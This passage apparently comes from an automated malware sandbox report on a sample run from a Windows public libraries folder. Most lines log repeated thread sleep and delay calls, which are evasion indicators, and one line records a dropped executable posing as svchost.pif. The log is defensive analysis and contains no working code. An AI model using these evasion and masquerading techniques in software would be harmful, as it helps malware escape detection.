              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597922
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597812
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597703
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597593
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597484
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597375
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597265
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597156
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597047
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596937
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596828
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596718
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596609
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596499
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596390
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596281
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596172
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596062
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595953
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595842
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595734
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595625
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595515
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595406
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595296
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595187
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595078
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594956
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594828
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594718
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594609
              Source: C:\Users\Public\Libraries\npratlsN.pifWindow / User API: threadDelayed 9417Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifWindow / User API: threadDelayed 438Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifWindow / User API: threadDelayed 2874
              Source: C:\Users\Public\Libraries\npratlsN.pifWindow / User API: threadDelayed 6880
              Source: C:\Users\Public\Libraries\npratlsN.pifWindow / User API: threadDelayed 1935
              Source: C:\Users\Public\Libraries\npratlsN.pifWindow / User API: threadDelayed 7919
              Source: C:\Windows\SysWOW64\brightness.exeDropped PE file which has not been started: C:\Windows \SysWOW64\svchost.pifJump to dropped file
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFAPI coverage: 9.9 %
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -25825441703193356s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -600000s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7884Thread sleep count: 9417 > 30Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599890s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7884Thread sleep count: 438 > 30Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599781s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599671s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599562s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599453s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599343s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599234s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599124s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -599015s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598905s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598796s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598687s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598577s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598468s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598359s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598249s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598137s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -598031s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597921s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597812s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597703s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597593s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597484s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597375s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597265s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597156s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -597046s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596937s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596828s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596718s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596609s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596500s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596390s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596281s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -596145s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595928s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595797s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595687s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595578s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595468s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595359s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595250s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595139s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -595031s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -594921s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -594812s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -594703s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -594588s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -594477s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7892Thread sleep time: -594369s >= -30000sJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep count: 35 > 30
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -32281802128991695s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -600000s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 4828Thread sleep count: 2874 > 30
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -599734s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 4828Thread sleep count: 6880 > 30
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -599625s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -599516s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -599407s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -599282s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -599172s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -599063s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598938s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598813s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598688s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598563s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598453s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598344s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598219s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -598110s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597985s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597860s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597735s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597594s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597466s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597354s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597244s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597135s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -597022s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -596860s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -596750s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -596639s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -596494s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -596321s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -596178s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -596032s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -595859s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -595730s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -595571s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -595374s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -594932s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -594741s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -594609s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -594437s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -594254s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -594059s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -593755s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -593611s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -593489s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -593364s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -593239s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -593114s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592989s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592849s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592679s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592567s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592443s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592318s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592193s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -592068s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -591943s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -591818s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -591693s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -591568s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -591443s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -591318s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 648Thread sleep time: -591193s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep count: 32 > 30
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -29514790517935264s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -600000s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 8100Thread sleep count: 1935 > 30
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599890s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599781s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 8100Thread sleep count: 7919 > 30
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599672s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599562s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599453s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599343s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599234s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599125s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -599015s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598906s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598796s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598687s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598578s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598467s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598359s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598250s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598140s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -598031s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597922s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597812s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597703s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597593s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597484s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597375s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597265s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597156s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -597047s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596937s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596828s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596718s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596609s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596499s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596390s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596281s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596172s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -596062s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595953s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595842s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595734s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595625s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595515s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595406s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595296s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595187s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -595078s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -594956s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -594828s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -594718s >= -30000s
              Source: C:\Users\Public\Libraries\npratlsN.pif TID: 7416Thread sleep time: -594609s >= -30000s
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,4_2_028F5908
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 600000Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599890Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599781Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599671Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599562Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599453Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599343Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599234Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599124Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599015Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598905Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598796Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598687Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598577Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598468Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598359Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598249Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598137Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598031Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597921Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597812Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597703Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597593Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597484Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597375Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597265Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597156Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597046Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596937Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596828Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596718Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596609Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596500Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596390Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596281Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596145Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595928Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595797Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595687Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595578Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595468Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595359Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595250Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595139Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595031Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594921Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594812Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594703Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594588Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594477Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594369Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 922337203685477
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 600000
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599734
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599625
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599516
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599407
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599282
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599172
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599063
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598938
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598813
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598688
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598563
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598453
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598344
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598219
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598110
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597985
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597860
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597735
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597594
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597466
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597354
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597244
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597135
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597022
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596860
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596750
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596639
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596494
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596321
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596178
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596032
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595859
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595730
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595571
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595374
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594932
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594741
